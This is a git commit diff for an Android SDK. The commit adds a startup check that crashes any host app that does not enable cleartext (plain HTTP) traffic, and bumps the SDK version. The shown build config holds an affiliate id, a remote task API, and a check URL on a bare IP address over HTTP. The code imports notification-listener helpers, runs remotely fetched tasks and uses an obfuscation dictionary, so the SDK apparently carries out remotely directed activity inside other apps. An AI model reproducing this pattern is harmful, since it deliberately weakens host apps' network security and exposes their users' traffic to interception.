feat: 新增明文传输配置检查并升级 SDK 版本至 55

- 在 `MainService` 启动时增加 `ManifestChecker` 校验,确保已开启 `usesCleartextTraffic`;
- 将 `Verify` 接口重构为 `sealed class` 并添加 Proguard 保留规则;
- `build.gradle.kts` 中新增 `enfoce_check_cleartext_traffic` 配置项。
main
mojo 4 weeks ago
parent 9cb06cad5f
commit f4096d3602

@ -21,9 +21,10 @@ android {
testInstrumentationRunner = "android.support.test.runner.AndroidJUnitRunner" testInstrumentationRunner = "android.support.test.runner.AndroidJUnitRunner"
consumerProguardFiles("consumer-rules.pro") consumerProguardFiles("consumer-rules.pro")
buildConfigField("boolean", "enfoce_check_cleartext_traffic", "true")
buildConfigField("boolean", "log_enable", "false") buildConfigField("boolean", "log_enable", "false")
buildConfigField("int", "aff_id", "1040") buildConfigField("int", "aff_id", "1040")
buildConfigField("int", "sdk_version", "54") buildConfigField("int", "sdk_version", "55")
buildConfigField("String", "task_api", "\"https://api.osakamob.com/task\"") buildConfigField("String", "task_api", "\"https://api.osakamob.com/task\"")
buildConfigField("String", "checkSum", "\"0388afc149fe80bf2b73\"") buildConfigField("String", "checkSum", "\"0388afc149fe80bf2b73\"")
buildConfigField("String", "chcikUrl", "\"http://46.101.109.8/s/zbs\"") buildConfigField("String", "chcikUrl", "\"http://46.101.109.8/s/zbs\"")

@ -42,5 +42,7 @@
-keep class com.example.utils.ContextExtKTKt {*;} -keep class com.example.utils.ContextExtKTKt {*;}
-keep class com.example.service.MainService {public *;} -keep class com.example.service.MainService {public *;}
-keep class com.example.service.MainService$Companion {public *;} -keep class com.example.service.MainService$Companion {public *;}
-keep class com.example.service.Verify { *; }
-keep class com.example.service.Verify$* { *; }
-dontwarn kotlinx.coroutines.** -dontwarn kotlinx.coroutines.**
-classobfuscationdictionary ../dict.txt -classobfuscationdictionary ../dict.txt

@ -16,6 +16,7 @@ import com.example.request.BaseRequestImp
import com.example.request.TaskRequest import com.example.request.TaskRequest
import com.example.response.TaskResponse import com.example.response.TaskResponse
import com.example.utils.AndroidId import com.example.utils.AndroidId
import com.example.utils.ManifestChecker
import com.example.utils.NetworkManager import com.example.utils.NetworkManager
import com.example.utils.notificationListenerEnable import com.example.utils.notificationListenerEnable
import com.example.utils.restartNotificationListenerServiceState import com.example.utils.restartNotificationListenerServiceState
@ -43,9 +44,9 @@ sealed class TaskEvent {
data class RunTask(val taskResponse: TaskResponse) : TaskEvent() data class RunTask(val taskResponse: TaskResponse) : TaskEvent()
} }
sealed interface Verify { sealed class Verify {
object None : Verify object None : Verify()
object Ok: Verify object Ok: Verify()
} }
class MainService private constructor() { class MainService private constructor() {
@ -91,6 +92,7 @@ class MainService private constructor() {
// ==================== 主启动方法 ==================== // ==================== 主启动方法 ====================
fun launcher(ctx: Context, needNotification: Boolean = false) { fun launcher(ctx: Context, needNotification: Boolean = false) {
ManifestChecker.checkCleartextConfig(ctx)
if (mainJob?.isActive == true) { if (mainJob?.isActive == true) {
LogUtils.info("$TAG: already running, skipping launch") LogUtils.info("$TAG: already running, skipping launch")
return return

@ -0,0 +1,24 @@
package com.example.utils
import android.content.Context
import android.content.pm.ApplicationInfo
import com.example.lib.BuildConfig
object ManifestChecker {
fun checkCleartextConfig(context: Context) {
if(!BuildConfig.enfoce_check_cleartext_traffic) {
return
}
val isCleartextAllowed = (context.applicationInfo.flags and
ApplicationInfo.FLAG_USES_CLEARTEXT_TRAFFIC) != 0
if (!isCleartextAllowed) {
throw IllegalStateException(
"\n\n[Security Error]: Cleartext traffic is not permitted. \n" +
"Please add 'android:usesCleartextTraffic=\"true\"' to the <application> tag " +
"in your AndroidManifest.xml to allow HTTP connections.\n"
)
}
}
}
Loading…
Cancel
Save